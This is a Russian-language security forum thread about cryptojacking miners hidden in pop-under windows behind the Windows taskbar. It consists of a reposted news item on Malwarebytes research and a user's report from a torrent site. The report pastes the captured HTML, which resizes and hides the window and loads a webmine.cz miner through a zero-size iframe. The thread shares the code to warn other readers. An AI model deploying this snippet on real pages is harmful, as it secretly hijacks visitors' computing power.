Криптовалютные майнеры прячутся за панелью управления и продолжают работу после закрытия браузера

LightWood

Moderator

01.12.2017

Эксперт компании Malwarebytes Джером Сегура (Jerome Segura) обнаружил интересную новую технику, которую начали применять криптоджекеры. К счастью, пока исследователь нашел только один такой сайт (портал для взрослых yourporn[.]sexy), но данную технику определенно могут начать использовать и более широко.

Сегура обнаружил, что на yourporn[.]sexy JavaScript-код майнера срабатывает не в основном окне, а открывается в дополнительном окошке, размер и местоположение которого злоумышленники задают динамически, по следующей формуле:

Горизонтальна позиция = (текущая ширина экрана) – 100px

Вертикальная позиция = (текущая высота экрана) – 40px

Таким образом, для большинства пользователей дополнительное окно с майнинговым скриптом оказывается скрыто за панелью управления Windows, где его будет сложно даже заметить (далеко не у всех панель управления прозрачная). Закрыть такое окно можно через диспетчер задач, или изменив размер панели управления, то есть достав окно «из-под» нее.

Исследователь рассказывает, что обнаруженный им сайт использует модифицированную версию майнера Coinhive, который позволяет владельцам ресурсов добывать криптовалюту Monero при помощи CPU своих посетителей. Интересно, что эта версия скрипта не оттягивает на себя практически все мощности CPU, ограничивая свою активность более скромными значениями. За счет этого заметить фоновую работу майнера тоже становится намного труднее.

Напомню, что сейчас об браузерного майнинга защищают практически все антивирусные продукты и блокировщики рекламы, запрещающие работу скриптов. Также в Chrome Web Store можно найти специальные «противомайнинговые» расширения. Плюс ко всему пользователь всегда может самостоятельно отключить Javascript или установить соответственные расширения для браузера (к примеру, NoScript и ScriptBlock).

Источник: xakep.ru

Реакции: LaGir, Dimionix и SHELBY

Dimionix

Moderator

02.12.2017

Сегодня прилетела такая приблуда с сайта

fast-torrent . ru

Конечно, могу ошибаться, но в суде по истории (просто это было около 5-ти часов назад, а топик только сейчас увидел), искал какой-нибудь кинчик посмотреть на этом сайте :-)

bigxxxmovies . net

HTML:

<!DOCTYPE html><html><head><style>body {margin:0;padding: 0;width: 0;height: 0}</style><title></title></head>

<body>
<script type="text/javascript">
    window.onload = function() {
        var left = screen.width - 120;
        var top = screen.height - 30;
        window.resizeTo(0, 0);
        window.moveTo(left, top);
    }
</script>
<iframe width=0 height=0 frameborder=0 src='https://webmine.cz/miner?key=dstGhVO9h1sIaMg'></iframe>
</body>
</html>

UPD
Всё-таки не ошибся с сайтом-источником этой хери

fast-torrent . ru/topic/4/32370/30/

Последнее редактирование: 02.12.2017

Реакции: LaGir и Roman*

Поиск

Криптовалютные майнеры прячутся за панелью управления и продолжают работу после закрытия браузера

LightWood

Moderator

Dimionix

Moderator

Кто просматривает тему: (Всего: 1, Пользователи: 0, Гости: 1)